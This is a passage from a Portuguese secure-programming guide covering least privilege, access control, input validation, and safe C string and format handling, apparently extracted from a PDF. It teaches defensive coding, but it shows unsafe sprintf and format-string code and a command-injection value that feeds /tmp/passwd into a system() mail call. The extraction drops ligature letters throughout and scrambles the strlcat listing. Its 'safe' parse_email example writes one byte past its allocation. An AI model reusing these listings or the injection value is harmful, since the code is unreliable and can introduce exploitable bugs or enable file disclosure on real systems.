mos obscuros  i.e., não conhecidos pelo agente da ameça.

54
Promover a segurança escondendo a lógica do sistema não é absolutamente
ecaz. Isto é o mesmo que contar com a sorte, já que não estaríamos preparados
para receber certas entradas de dados, seqüências de comandos, etc. Deniti-
vamente, sorte não é um dos fatores que devemos considerar se temos metas
sólidas a atingir.

A experiência mostra que algumas características de construção do sistema


implicam diretamente no risco associado aos eventos que causam impactos e
comprometem sua segurança.

Em seu livro [McGraw2005], Gary McGraw descreve uma relação entre três
características de um software e seu nível de segurança (veja Trinity Of Trouble,
Cap 1). Estas características são: Conectividade, Extensibilidade e Complexi-
dade.
A conectividade de um sistema é denida pelo número de vias de acessos que
ele fornece (e seus tipos), e também pela quantidade de fontes ligadas à estas
vias. Quanto mais conectividade, portanto, mais sujeito a ataques o sistema
está.

O simples fato do programa ter uma interface para a Internet já o caracteriza


acessível o suciente para que seu risco associado seja muito alto.
Ao desenvolver um software tenha em mente que deve-se implementar ape-
nas os mecanismos de acesso necessários, utilizando ltros, quando possível,
para reduzir a conectividade do sistema somente às partes interessadas.

Outra característica bastante problemática é a extensibilidade. Um pro-


grama extensível é aquele que permite a composição de unidades de código,
como módulos ou plug-ins, ao programa principal.
Estas unidades são desenvolvidas por terceiros e isto gera um problema de
difícil solução. Devemos permitir acesso às funcionalidades do sistema para que
o usuário possa usufruir da extensibilidade; no entanto, não podemos contar que
os códigos acoplados sejam seguros.

Além das vulnerabilidades contidas nos plug-ins, também devemos consi-


derar que a própria extensibilidade abre brechas para exploração do programa,
porque permite acesso à métodos internos que controlam o seu uxo de execução.

Por m, devemos cuidar para que o software seja o mais simples possível,
evitando a última das características da tríplice, que é a complexidade.

55
Simplicidade é uma das qualidades mais difíceis de se encontrar em siste-
mas de computação. Primeiro porque os softwares normalmente crescem por
demanda  isto é, são desenvolvidos de acordo com a necessidade de novas fun-
cionalidades. Raramente sua arquitetura prevê todas as mudanças, e isto acaba
por gerar implementações mais complexas do que se deseja para o sistema.

Segundo porque, no nosso mundo, é muito improvável que o programador


conheça o sistema o bastante para ter uma visão panorâmica que permita cri-
ticar sua modelagem e arquitetura. Normalmente os programadores resolvem
problemas locais sem pensar no sistema como um todo.

A simplicidade permite a compreensão conceitual do design do programa.


Esta compreensão permite uma melhor auditabilidade, e conseqüentemente,
maior segurança. Sistemas simples são concisos, e não implementam funcio-
nalidades desnecessárias, mitigando em parte o risco do ativo.

A antítese é a complexidade, que gera confusão e incapacidade de compreen-


são da arquitetura por parte das pessoas envolvidas na análise de sua segurança.

A complexidade também implica na existência de muitos caminhos do uxo


de execução, e como o erro é parte do fator humano, a probabilidade de existir
vulnerabilidades aumenta na mesma proporção.

Tenha em mente: a melhor solução é, normalmente, a mais simples. Isto


vale para todas as fases do desenvolvimento do software, não só para a imple-
mentação.

A lista abaixo é uma sugestão geral de boas práticas a serem seguidas. Nas
seções que virão, discutiremos outros itens mais especícos e técnicos sobre im-
plementação.

Por ora, considere adotar as seguintes práticas:

1. Faça auditoria e testes de segurança regularmente.

2. Não armazene usuários e senhas estaticamente no código ( hardcoded ).


3. Não transmita informação legível por quaisquer meios de comunicação.
Utilize criptograa.

4. Reuse bons códigos sempre que possível.

5. Utilize ferramentas para analisar o sistema. (Consulte a lista da Seção 5)


6. Utilize checklists. Não há segurança sem organização e controle.

7. Sempre que possível esteja em conformidade com padrões. Isto facilita a


manutenção e a auditoria do código para as pessoas que virão a manuseá-
lo.

56
8. Acompanhe e teste todas as mudanças no código.

9. Esteja sempre informado. Participe de listas de discussão, leia notícias,


livros, papers sobre segurança de software.
10. Faça da forma mais simples possível; mas não mais simples que isto.

Dito isto, prosseguiremos para as próximas seções onde serão abordados os


conceitos básicos de segurança em software.

4.1.1 Mínima Concessão de Privilégios


Um conceito bastante antigo, mas que continua sendo essencial no mundo da
segurança de informação, é o descrito pelo Prof. Saltzer no célebre documento
[Saltzer1975], onde é formalizado pela primeira vez o Princípio do Privilégio
Mínimo (inglês: Principle of Least Privilege ).
Este conceito pode ser resumido em uma sentença simples: A consessão de
privilégios não deve exceder o que é estritamente necessário para que seja pos-
sível executar com sucesso a tarefa requisitada.

O princípio é fundamental no desenvolvimento de sistemas seguros. Algumas


vezes, aplicá-lo pode demandar algumas mudanças na arquitetura, na implemen-
tação dos tipos de dados, nos controles de acesso, etc.

Para garantir o princípio do privilégio mínimo é preciso identicar as tarefas


acessíveis ao usuário, para que então seja possível determinar o grupo mínimo
de acessos que o sistema deve concedê-lo, e enm restringir o domínio do uxo
de execução de acordo com o que foi previamente denido.

Impedir uxos não determinados a priori evita um enorme grupo de possibi-


lidades de exploração e ataques. A ecácia deste conceito simples ca evidente
na prática  é muito comum nos deparamos com limitações deste tipo quando
exploramos vulnerabilidades em sistemas bem estruturados.

Os privilégios negados não podem ser usados para contornar os mecanismos


de segurança do sistema, e isto gera um crescimento notório da capacidade do
sistema de evitar incidentes de segurança.

57
4.1.2 Controle de Acesso
Damos o nome de Controle de Acesso à qualquer modelo de segurança criado
para gerenciar as negociações de acesso, impedindo a utilização não autorizada
do sistema.

Não pode haver alguma segurança sem o devido controle de acesso. Ter
controle signica garantir na prática que a política de segurança do sistema será
respeitada, e que, portanto, tanto a informação quanto seus recursos estarão
devidamente resguardados.

No que tange a segurança de sistemas de computação (desconsiderando a


segurança física, por exemplo), o controle de acesso deve ser feito através da
implementação dos três preceitos fundamentais: Autenticação, Autorização e
Auditabilidade. Veremos adiante mais detalhes sobre cada um deles.

A designação de direitos de acesso deve ser gerenciada através da manipula-


ção de sujeitos e objetos. Sujeitos são entidades que têm o privilégio de executar
ações no sistema. Objetos são entidades que representam os recursos gerenciá-
veis do sistema.

É boa prática gerir apenas sujeitos e objetos que sejam entidades internas
ao software. Usuários e outros agentes externos ao sistema, por exemplo, não
devem participar diretamente das transações de controle de acesso.

Uma boa razão para não tratá-los como sujeitos é que estes agentes exter-
nos têm, inevitavelmente, controle sobre alguma entidade interna ao sistema
de informação, e o fato de considerá-los sujeito diculta a implementação do
princípio do privilégio mínimo, como visto na seção anterior.
Nos aplicativos que costumamos utilizar encontramos basicamente dois mo-
delos de implementação de controles de acesso. O primeiro modelo gere a segu-
raça por capacidade (inglês: capability-based security ), que delega as permissões
de acesso ao objeto através da identicação de uma referência única a ele. Um
exemplo muito comum de um identicador é o descritor de arquivo.

Em outras palavras, o objeto é referenciado por um identicador. O processo


que o conhece têm a capacidade de interagir com o objeto de alguma forma. No
caso do descritor de arquivos, o objeto é referenciado por um inteiro que indica
o índice da tabela de descritores do sistema operacional que contém registros
do arquivo que deve ser acessado e as respectivas permissões de acesso.

58
O segundo modelo é a Lista de Controle de Acesso (inglês: Access Control
List ). Neste modelo a relação de permissões está implícita no próprio objeto; e
não em referências, como no caso anterior.

Esta relação descreve o que cada sujeito pode acessar ou manipular no ob-
jeto. Normalmente ela é implementada na forma de uma matriz, onde os índices
de linha identicam os sujeitos, e os de coluna indicam todas as ações de inte-
ração com o objeto.

Para fazer o controle basta consultar a célula que corresponde simultanea-


mente ao sujeito e à ação, e criticar se o o acesso é permitido.

No primeiro caso o sujeito está implício no processo. No segundo, o objeto


é o próprio mantenedor das permissões. Por m, encontramos nos dois casos
o mapa completo de relação entre sujeitos, objetos, ações e permissões, e, por-
tanto, temos a estrutura que permite delegar direitos de acesso ao recursos do
sistema.

Existem três elementos fundamentais no controle de acesso. Estes elementos


são os serviços que derivam ou sustentam as propriedades vistas nos modelos
acima.

O primeiro, por ordem de uxo de controle, é o serviço de Identicação e


Autenticação. O procedimento tem o nome duplo porque conta precisamente
com estes dois passos.

No primeiro momento o requisitante se identica como usuário do sistema;


em seguida a autenticação dene qual o nível de permissão que lhe deve ser
concedido, caso haja algum. A Identicação e Autenticação permite reconhecer
os sujeitos do sistema.

O segundo serviço é a Autorização, que é aplicável ao sujeito requisitante e,


obviamente, deve suceder a autenticação. Este serviço é responsável por deter-
minar as permissões de acesso de cada objeto do sistema. Normalmente estas
permissões são de escrita, leitura e execução.
Por m, os serviços de Auditabilidade deve utilizar interfaces de geração de
registros de trilha de execução  como a syslog , no U nix  para dar rastreabi-
lidade ao sistema, permitindo analisar todas as ações executadas pelos sujeitos
quando necessário.

Os modelos descritos nesta seção podem ser aplicados tanto na fase de de-
sign do sistema  onde surgem as primeiras características de sua arquitetura 
quanto na fase de implementação, quando se é preciso encontrar soluções para
problemas locais de acesso aos objetos do sistema.

59
4.1.3 Processamento de entrada
O maior inimigo do programador preocupado com a segurança é, de certo, a
quantidade imensa de possibilidades que devem ser consideradas no processa-
mento da entrada de dados.

A aplicação que é alimentada pelo usuário deve lidar com entradas inusitadas
e maliciosas. Vimos nas seções anteriores diversos ataques que foram fundamen-
tados no mal processamento dos dados. Deve-se acreditar que toda entrada de
dados é maliciosa! Não se deve conar em absolutamente nenhuma informação
fornecida pelo usuário. O que fazer então?

Como não há uma fórmula para solucionar este problema, devemos adotar
uma metodologia. Uma abordagem muito aceita entre os programadores envol-
vidos com segurança é codicar o software de forma que ele aceite um conjunto
restrito e precisamente mapeado de possibilidades; rejeitando todas as demais.

Analisar entradas inválidas não faz sentido e é um esforço inútil. Se há


um algoritmo para criticar todas as possilidades de entrada, descone! Exceto
quando se trata de linguagens com gramáticas bem denidas, não se pode pre-
ver nem tratar todas as possiblidades.

A prática mostra que aplicar ltros na entrada também não é tão ecaz,
porque, via de regra, os ltros não são completos o suciente e deixam passar
alguns casos. Estes casos podem ser os menos prováveis ou, quem sabe, os com
maior potencial para comprometer o sistema.

Portanto, a primeira abordagem é de fato a mais aconselhável. Sempre que


possível utilize a política de rejeitar tudo exceto um conjunto restrito de possi-
bilidade de entradas.

O arquiteto de segurança chefe da M cAf ee, John Viega, em [Viega2003],


sugere que a entrada seja criticada sempre que possível, quantas vezes for ne-
cessário. Se você pode validar os dados do usuário no momento de captura da
informação e novamente quando precisar usá-la, faça!

Utilizar mais de um nível de validação é uma técnica ecaz para melhorar a


segurança do sistema, porque no caso de uma delas falhar, a outra pode garantir
que o defeito seja percebida ou que a falta seja evitada.

Os tipos de vulnerabilidades decorrentes do processamento da entrada po-


dem ser divididos em classes, de acordo com a origem do problema.

Uma das maiores causas de vulnerabilidades é a falta de preocupação com


o tamanho da entrada. Outra é quando cometemos deslises na formatação dos
dados.

60
É possível também que o processamento da entrada permita a ijeção de
instruções ou comandos, ou que os limites de representação de um tipo sejam
extrapolados.

Aa próxima seção aborda detalhes técnicos sobre a implementação de softwa-


res seguros.

4.2 Boas práticas de programação em C e C++


Este documento descreveu em suas seções anteriores técnicas de exploração de
vulnerabilidades como forma de alertar para gravidade do problema da falta de
cuidado com a segurança.

Acredito que seja mais ecaz mostrar a origem e o impacto dos defeitos que
desenvolver toda uma argumentação teórica acerca da importância dos cuidados
com cada um dos casos citados.

A seção Explorando Vulnerabilidades é um complemento à esta seção, e


deve ser suciente para que o programador compreenda e evite incidentes com
sistemas.

A partir de agora não trataremos mais de conceitos, mas de detalhes técnicos


sobre a implementação do software seguro, indicando as funções que devem ser
usadas e as que devem ser evitadas, e acrescentando também algumas sugestões
de boas práticas.

Tivemos na primeira parte do texto um embasamento conceitual que tentou


atinar o bom-senso do programador; nesta próxima parte teremos consolidação
do conhecimento em detalhes pontuais, no sentido de ser bastante especíco, e
de cunho técnico, já que utiliza exemplos e casos reais de codicação.

4.2.1 Vericação de limites


Uma das maiores causas de defeitos em sistemas de computação é a falta de
vericação de limites. O que seria isto?

Todos os recursos computacionais que temos são limitados. Quando de-


senvolvemos um software, denimos os máximos e mínimos de cada entidade
codicada, sejam elas variáveis, tipos abstratos de dados, represetações numé-
ricas, dentre outros.

61
Faltas ocorrem quando não implementamos todas as assertivas necessárias
para garantir a corretude de operações que envolvem estes elementos. A veri-
cação preza pelos limites das entidades garantindo assim alguma integridade.

Na seção sobre buer overows vimos alguns casos clássicos onde o mal pro-
cessamento da entrada do usuário permite extrapolar o espaço reservado para
uma variável na pilha.

Mostramos ser possível sobrescrever áreas que inuenciam no uxo de execu-


ção do programa, por conseqüência da falta de vericação do tamanho do buer.
Não é atoa que em todo plano de teste de software deve-se incluir casos de
borda  i.e., próximos aos extremos do domínio de possibilidades.

Existem muitas explicações para o fato de existirem tantos defeitos relaci-


onados aos casos de borda. Uma delas é que, normalmente, estes casos são os
de ocorrência menos provável, e por isto são esquecidos ou desconsiderados pelo
programador.

Nas próximas seções não vamos mais nos preocupar em explorar tais falhas.
Vamos nos ater em discutir medidas e controles necessários para evitar vulne-
rabilidades.

Estamos sempre sujeitos a cometer erros, principalmente quando nos en-


contramos em situações onde é necessário programar às pressas, ou quando
perdemos desempenho por estafa depois de longos períodos de trabalho  o que
não é nem um pouco incomum.

Uma das boas práticas para mitigar o risco de ocorrência de vulnerabilida-


des é evitar a utilização de algumas funções perigosas, e substitui-las, quando
possível, por funções ditas seguras.

De forma geral, as funções seguras são aquelas que têm, em seu escopo de
execução, os controles necessários para garantir a tríade CID ; por exemplo,
fazendo vericação de limites, implementando controles de acesso, testes de in-
tegridade, etc.

A tabela abaixo mostra à esquerda, algumas funções inseguras, e à direita,


o substituto mais adeqüado em cada um dos casos. Como vimos, os principais
focos de problema são as funções de manipulação de strings e memória.

62
Funções Inseguras Substitutos Seguros
gets(s) fgets(s, n, stdin)

sprintf(s, fmt, ...) snprintf(s, n, fmt, ...)

strcat(dst, src) strncat(dst, src, n)

strcpy(dst, src) strncpy(dst, src, n)

vsprintf(str, fmt, ap) vsnprintf(str, n, fmt, ap)

Tabela 1: Substitutos seguros para ANSI C

A função gets é de longe a mais insegura de todas, e não deve ser usada
em hipótese alguma. Esta função copia todo o conteúdo da entrada de dados
para o destino até encontrar o caractere EOF  este caractere é substituido
por '\0' e copiado para a última posição. Note que, além de não haver a ve-
ricação de tamanho, a função não possibilita qualquer solução para o problema!

As funções sprintf, strcat, strcpy e vsprintf, têm um alto risco e devem ser
substituídas pelas funções com o parâmetro n, que indica o tamanho máximo a
ser copiado para o destino.

Estas últimas funções podem ser usadas em alguns casos muito particulares
onde sabemos de antemão o tamanho do buer de origem. Mas ainda nestes
casos, as funções com o parâmetro n podem ser aplicadas sem o detrimento da
performance.

Inseguro:

1 int main ( int argc , char ∗ argv [ ] ) {


2 char usage [ 6 4 ] ;
3 s p r i n t f ( usage , " usage : %s < f i l e >\n " , argv [ 0 ] ) ;
4 /∗ . . . ∗/
5 }
Seguro:

1 int main ( int argc , char ∗ argv [ ] ) {


2 char usage [ 6 4 ] ;
3 s n p r i n t f ( usage , 48 , " usage : %s < f i l e >\n " , argv [ 0 ] ) ;
4 usage [ 6 3 ] = ' \ 0 ' ;
5 /∗ . . . ∗/
6 }
No último código restam 48 bytes na variável usage, já que a string de for-
matação também tem que ser considerada.

63
As funções com formatação de string permitem que o tamanho seja limitado
pelos especicadores de precisão. Esta é outra forma de executá-la com segu-
rança:

Seguro:

1 int main ( int argc , char ∗ argv [ ] ) {


2 char usage [ 6 4 ] ;
3 s p r i n t f ( usage , " u s a g e : %.48 s < f i l e >\n " , argv [ 0 ] ) ;
4 usage [ 6 3 ] = ' \ 0 ' ;
5 /∗ . . . ∗/
6 }
Alguns fabricantes fornecem suas próprias funções seguras. Nem sempre
estas funções são portáveis, ou fazem parte de um padrão reconhecido e disse-
minado. No entanto, algumas delas devem ser citadas.

O fundador do sistema operacional OpenBSD, Theo de Raadt, criou subs-


titutos para as funções strcat e strcpy, e as chamou de strlcat e strlcpy.
Essas funções foram introduzidas no OpenBSD 2.4, mas até hoje não fazem
parte de nenhum padrão. No entanto, sua implementação é simples e portável
 em conformidade com AN SI C  e podem ser reaproveitadas em seu projeto
ou reescritas em outras linguagens com muita facilidade.

strlcat.c
37 size_t
38 strlcat ( char ∗ dst , const char ∗ src , size_t s i z ) {
39 char ∗ d = d s t ;
40 const char ∗ s = s r c ;
41 size_t n = s i z ;
42 size_t dlen ;
43
44 while ( n−− != 0 && ∗ d != ' \0 ' )
45 d++;
46 dlen = d − dst ;
47 n = s i z − dlen ;
48
49 if ( n == 0)
50 return ( d l e n + strlen (s ));
51 while ( ∗ s != ) {
if ( n != 1)
' \0 '
52 {
53 ∗ d++ = ∗ s ;
54 n−−;
55 }
56 s++;
57 }
58 ∗d = ;
return ( d l e n
' \0 '
59 + ( s − src ) ) ;
60 }

64
strlcpy.c

34 size_t
35 strlcpy ( char ∗ dst , const char ∗ src , size_t s i z ) {
36 char ∗ d = d s t ;
37 const char ∗ s = s r c ;
38 size_t n = s i z ;
39
40 if ( n != 0 && −−n != 0) {
41 do {
42 if
( ( ∗ d++ = ∗ s++) == 0)
43 break ;
44 } while
(−−n != 0 ) ;
45 }
46 if ( n == 0) {
47 if ( s i z != 0)
48 ∗d = ' \0 ' ;
49 while ( ∗ s++)
50 ;
51 }
52 return ( s − src − 1);
53 }
Note que as funções utilizam o tipo size_t para representar os tamanhos dos
objetos. Veremos adiante que esta é uma das boas práticas que se deve adotar
no desenvolvimento de um software seguro.

O tipo size_t um inteiro positivo (unsigned ), e é também o tipo retornado


pela operação sizeof . O uso deste tipo de dados em todas as variávels que
representam tamanhos de objetos diminui o risco de overows de inteiros.

O SDL (Secure Development Cycle ) da M icrosof t, baniu algumas funções


inseguras e as substituiu por bibliotecas programadas especialmente para pro-
mover segurança.

No lugar da AP I antiga, o SDL sugere o uso das bibliotecas StrSaf e e


Secure CRT (Secure C Runtime ).
A tabela da próxima página foi adaptada de uma lista em [Howard2007]. O
documento original é mais extenso e contém detalhes sobre outras famílias de
função, além das que têm este problemas com vericação de tamanho.

Existem muitas outras bibliotecas de apoio à programação segura, mas ne-


nhuma delas substitui o conhecimento do programador. Não cone a segurança
do software à estas funções, porque de nada vale tê-las se há a falta de cuidado
e o despreparo no desenvolvimento.

65
Funções Inseguras Subs. StrSafe Subs. Secure CRT
lstrcpy StringCbCopy strcpy_s
lstrcpyA StringCchCopy
lstrcpyW StringCbCopyEx
StrCpy StringCchCopy
strcpy
StrCpyA
StrCpyW
strcpyA
strcpyW
wcscpy
lstrcat StringCbCat strcat_s
lstrcatA StringCchCat
lstrcatW StringCbCatEx
StrCat StringCchCatEx
strcat
StrCatA
StrCatW
StrCatBu
strcatA
strcatW
wcscat
sprintfW StringCbPrintf sprintf_s
sprintfA StringCchPrintf
sprintf StringCbPrintfEx
swprintf StringCchPrintfEx
wnsprintf
wnsprintfA
wnsprintfW
wsprintf
wsprintfW
wsprintfA
nsprintf StringCbPrintf sprintf_s
_snwprintf StringCchPrintf
_snprintf StringCbPrintfEx
_sntprintf StringCchPrintfEx

wvsprintf StringCbVPrintf _vstprintf_s


wvsprintfA StringCchVPrintf
wvsprintfW StringCbVPrintfEx
vsprintf StringCchVPrintfEx
_vstprintf
vswprintf
_vsnprintf StringCbVPrintf vsntprintf_s
_vsnwprintf StringCchVPrintf
_vsntprintf StringCbVPrintfEx
wvnsprintf StringCchVPrintfEx
wvnsprintfA
66
wvnsprintfW

Tabela 2: Substitutos seguros para Microsoft SDL


As próxima seções tratam de outros aspectos da programação suscetíveis a
falhas, como o gerenciamento de memória, manipulação de strings e inteiros,
dentre outros.

Haveria redundância se quiséssemos explicitar todas as boas práticas para


cada domínio do problema. No entanto, o que foi dito permanecerá implícito
nas próximas seções.

Na parte sobre manipulação de memória, por exemplo, deveríamos citar a


vericação de limites. No entanto, como isto já foi discutido, as deixaremos de
lado, dando atenção exclusiva às características que diferem das supracitadas.

4.2.2 Gerenciamento de Memória


É na memória principal que estão os elementos que denem o uxo de execução
de um processo. Por isto deve-se ter muito cuidado ao manuseá-la.

As faltas no gerenciamento da memória podem comprometer a segurança


dos dados, já que torna possível a exploração da vulnerabilidade e a execução
de códigos arbitrários  como discutido na seção  Explorando Vulnerabilidades .
Novamente, existem alguns controles que devem ser aplicados para mitigar o
risco de ocorrência de faltas de segurança. Estes controles visam evitar os erros
mais comuns cometidos por programadores.

Em geral, procure obedecer as seguintes boas práticas:

1. Sempre que possível, utilize buers estáticos. Desta forma o compilador


se encarrega de gerenciar a alocação, e isto é mais seguro que fazê-lo em
tempo de execução.

2. Toda memória alocada deve ser imediatamente liberada ao término do seu


ciclo de vida.

3. Utilize inteiros positivos ( unsigned ) para armazenar os tamanhos de buf-


fers alocados.

4. Não faça alocação de memória dentro de laços ( loops ), porque além de


tornar o programa lento, pode gerar alguns comportamentos não desejados
que o tornam inseguro.

5. Quando qualquer informação condencial for alocada, sobrescreva-a com


conteúdo aleatório antes de desalocar.

6. Nunca faça a requisição de 0 bytes com a esperança de obter o espaço


mínimo. Este comportamento é indenido e pode resultar em faltas de
segurança.

67
Especicamente para as linguagens C e C++, deve-se considerar as seguintes
práticas:

1. Atribua N U LL aos ponteiros depois de liberar memória com f ree. Isto


evita overows que exploram a estrutura da heap.
2. Sempre verique se foi possível alocar a memória requisitada. O valor
retornado pelas funções de alocação devem ser diferentes de N U LL.

3. Faça a alocação e a liberação de memória no mesmo módulo. Seguir esta


regra impede que a complexidade gere problemas.

4. Não faça cast do ponteiro retornado por malloc. A função retorna void∗,
e portanto converter o tipo não necessário. Fazê-lo só depreciará a manu-
tenibilidade do código.

5. Evite a alocação de buers muito grandes na pilha.

6. Prera sempre new às funções malloc e calloc.

7. Não use f ree para desalocar buers criados com new.


8. Use declarações como  std :: vector < f oobar > vt(10, f oobar()) ao invés
de  f oobar ∗ pt = newf oobar[10];.
9. Resguarde seu código com try − catch quando usar new. Ou então utilize
o operador nothrow. Ex: foobar *pt = new (std::nothrow) foobar[10].

Esta, e outras relações de boas práticas desta seção, foram compiladas gra-
ças ao conteúdo dos seguites documentos: [CERT-SecCoding], [Lewis2006],
[Viega2003], [CLASP2006], [McGraw&Viega2000].

4.2.3 Formatação de Dados


Constatamos nas seções anteriores que é possível explorar a formatação de en-
tradas para executar códigos arbitrários  através das técnicas de exploração
conhecidas como format string.
Continuando as considerações sobre boas práticas de programação, existem
algumas regras muito ecazes para combater este tipo de vulnerabilidade. Elas
não diferem muito das vistas até então. Os conceitos são similares e mantêm a
simplicidade do método de prevenção.

Nas seções anteriores vimos algumas funções que devem ser evitadas. A
relação a seguir segue a mesma linha de conduta. Os conceitos que denem
quando uma função deve ser evitada são os mesmos. Veremos então quais são
os controles que devem ser implementados para minimizar o risco de incidentes.

68
Todas as funções relacionadas abaixo oferecem algum tipo de risco ao soft-
ware. As funções da família scanf , por exemplo, não vericam o tamanho do
parâmetro inseridos na string de formatação. As demais não vericam se a
quantidade de parâmetros corresponde à quantidade de conversores.

Funções Inseguras

scanf(fmt, ...)
sscanf(s, fmt, ...)
fscanf(stream, fmt, ...)
printf(fmt, ...)
fprintf(stream, fmt, ...)
vprintf(fmt, ap)
vfprintf(stream, fmt, ap)
vfscanf(stream, fmt, ap)
vscanf(fmt, ap)
vsscanf(str, fmt, ap)
syslog(type, fmt, len)

Tabela 3: Funções inseguras de formatação

No mais, estas são algumas boas práticas que devem ser seguidas:

1. Fique sempre atento à necessidade de adicionar caracteres de escape quando


as entradas permitem padrões sensíveis a um processamento posterior ( to-
kens de uma linguagem, por exemplo). Isto impede, dentre outras coisas,
a injeção de códigos arbitrários.

2. Sempre que possível, escreva o seu próprio formatador.

3. Cuidado ao usar o formatador %n. Escrever o número de caracteres lidos


parece inofensivo mas pode se tornar uma vulnerabilidade crítica.

4. Utilize sempre limitadores de tamanho para formatação ao ler os parâme-


tros da função.

5. Utilize variáveis para armazenar as strings antes da formatação. Isto


facilita o cálculo do tamanho para a vericação dos limites.

6. Certique-se que a quantidade de conversores de formatação é sempre


igual à quantidade de parâmetros da função.

69
O item 1 alerta à possibilidade de injeção de código. Veja o exemplo abaixo:

1 s p r i n t f ( b u f f e r , ` ` / bin / mail %s < /tmp/ email ' ' , addr ) ;


2 system ( b u f f e r ) ;
Em algumas condições seria possível injetar comandos na variável addr, de
uma forma muito similar à que discutimos na seção sobre SQL Injection.
À exemplo, se a variável addr tem o valor "email@foo.com < /tmp/pas-
swd#", teríamos a quebra da condencialidade de uma informação privada do
sistema. O caractere '#' faz com que o restante do comando seja ignorado, e a
execução prossegue sem erros.

Para tornar este código mais conável, e adotando a prática sugerida no item
1, pode-se formatar a string addr, comparando com um padrão pré-determinado
do formato do e-mail. Para tal, basta vericar se seus caracteres pertencem à
lista dos caracteres permitidos por este padrão.

1 char ∗ parse_email ( const char ∗ em ail )


2 {
3 static char ok_chars [ ] = " abcdefghijklmnopqrstuvwxyz \
4 ABCDEFGHIJKLMNOPQRSTUVWXYZ\
5 1 2 3 4 5 6 7 8 9 0_− .@" ;
6 char ∗ data , ∗ cp ;
7 size_t len ;
8
9 if ( em ail == NULL)
10 return NULL;
11
12 l e n = s t r l e n ( email ) ;
13 data = malloc ( l e n ∗ sizeof char ) ) ;
(
14 s t r n c p y ( data , email , l e n ) ;
15 data [ l e n ] = ' \ 0 ' ;
16
17 for ( cp = data ; ∗ ( cp += s t r s p n ( cp , ok_chars ) ) ; )
18 ∗ cp = '_ ' ;
19
20 return data ;
21 }
Esta versão substitui todos os caracteres inválidos por '_'. Uma outra pos-
sibilidade seria simplesmente vericar se está no padrão e retornar um erro caso
haja algum problema.

O item 4 se refere ao uso dos formatadores do tipo %.Nx, onde N é um


inteiro positivo e x o conversor de formatação.

70
Devemos assegurar que o tamanho lido nunca excede o espaço reservado.
Para isto, é preciso calcular o espaço mínimo do buer de armazenamento e
denir um tamanho máximo de cada entrada, seguindo o item 5.

O código abaixo consolida práticas comentadas nos parágrafos anteriores, e


serve como exemplo de boa prática de formatação:

Seguro
1 #include <s t d i o . h>
2
3 int main ( int argc , char ∗ argv [ ] )
4 {
5 char fmt [ ] = ;
char buf [ 50 + sizeof ( fmt )
"ABCDEFOOBAR %.50 s \ n "
6 −5 ] ;
7
8 s p r i n t f ( buf , fmt , argv [ 1 ] ) ;
9 /∗ ... ∗/
10
11 return 0;
12 }
O delimitador da string de formatação f mt indica que somente 50 bytes de-
vem ser lidos no primeiro parâmetro. Note que a declaração precoce da string
permite que o tamanho seja calculado com precisão e segurança.

O tamanho mínimo da variável buf deve ser suciente para comportar os 50


bytes lidos do parâmetro %s, mais o tamanho original da string f mt, descon-
siderando os bytes que correspondem ao conversor de formatação (5 bytes ), já
que estes últimos não estarão presentes no resultado do processamento.

O item 6 faz menção também ao erro mais repetido por programadores inex-
perientes. Veja o código abaixo:

Inseguro
1 int b a d f u n c t i o n ( const char ∗ ptr ) {
2 if ( LOG_TO_FILE )
3 f p r i n t f ( LOG_FD, p t r ) ;
4 /∗ . . . ∗/
5 }
O programador descuidado considerou que o ponteiro ptr aponta para uma
string sem conversores de formatação, mas nada garante que ela não os tenha.

Vimos na seção  Explorando Vulnerabilidades  um forma de comprometer a


segurança do sistema através da exploração deste problema.

71
Seguro
1 int g o o d f u n c t i o n ( const char ∗ ptr ) {
2 if ( LOG_TO_FILE )
3 f p r i n t f ( LOG_FD, "%s " , ptr ) ;
4 /∗ . . . ∗/
5 }
Durante algum tempo muitos incidentes ocorreram por causa de códigos
como este. Embora ainda seja possível encontrá-los, hoje em dia são menos
comuns, dado ao grando número de ferramentas capazes de identicar estar fa-
lhas. Veja a seção 5 sobre F erramentas, para uma lista de softwares de análise
estática.

Quando se trata de códigos proprietários, fechados, onde os processos de


desenvolvimento são duvidosos e não incluem testes severos de segurança e au-
ditorias regulares, o risco continua sendo bastante alto.

Por m, veremos que muitas das vulnerabilidades de formatação podem ser
identicadas através da análise estática do código fonte. Falaremos mais sobre
este assunto na seção sobre ferramentas de desenvolvimento seguro.

4.2.4 Manipulação de outros tipos de dados


Vimos até agora muitos detalhes sobre a manipulação de tipos abstratos de da-
dos. Esta seção traz novas considerações , como por exemplo, manipulação de
strings e inteiros, que não couberam nas seções anteriores, e não poderiam ser
deixados de lado.

Novamente, muitos detalhes carão implícitos no que já foi comentado. É


evidente que os cuidados com limites, gerenciamento de memória e formatação,
podem (e devem) ser aplicados na manipulação destes tipos de dados.

Estas práticas devem ser seguidas:

1. Lembre-se que toda strings é terminadas pelo caractere nulo '\0'. Force
esta terminação quando necessário.

2. Sempre considere o caractere '\0' das strings ao escolher o tamanho das


variáveis que as armazenam.

3. Não modique strings literais. Atribua o tipo const aos ponteiros que
façam referência à elas.

4. Esteja atento ao denir o tamanho dos buers que comportam strings


de caracteres extensos (não-ASCII ), como por exemplo: U T F , U nicode,
etc.

72
5. Lembre-se que a função strtok faz alterações no argumento para retornar
os tokens.
6. Utilize size_t para armazenas tamanhos de objetos.

7. Quando possível, utilize uma biblioteca segura de manipulação de inteiros.

8. Use strtol para converter strings para inteiros.

9. Sempre use enum para denir constantes inteiras.

10. Tome cuidado ao converter de tipos signed para tipos unsigned.


11. Caracteres devem ser representados através do tipo unsigned.
12. Não assuma que o tipo char é signed ou unsigned.

4.3 Implementação segura no Unix


Os diversos tipos de Unix diferem em suas políticas de segurança. Alguns já
distribuem em seus pacotes mecanismos criados para oferecer um nível maior
de proteção.

Obviamente esta segurança tem um custo, e justamente isto faz com que
cada fabricante adote um critério de decisão diferente, que é denido de acordo
com o tipo de usuário que quer atingir.

O custo da implementação da segurança normalmente envolve o dispêndio


dos recursos computacionais. Dentre outros fatores, a performance é quase sem-
pre afetada.

Sistemas operacionais como o OpenBSD, e a distribuição Gentoo Linux, pri-


orizam a segurança do ambiente, e já distribuem, por exemplo, kernels com
proteções de pilha, criptograa integrada, etc.

Além dos sistemas operacionais, existem aplicações que têm um desenvol-


vimento orientado à segurança, como é o exemplo do QM ail do Prof. Daniel
Bernstein, dentre outras.

Em qualquer caso, a segurança só é possível quando a implementação está


em conformidade com as boas práticas de programação descritas à seguir.

As próximas seções devem elucidar o leitor a respeito dos principais aspectos


que devem ser considerados ao desenvolver um software seguro em plataformas

73
Unix.

4.3.1 Processos
Processos são instâncias de um programa em execução. Os diversos tipos de
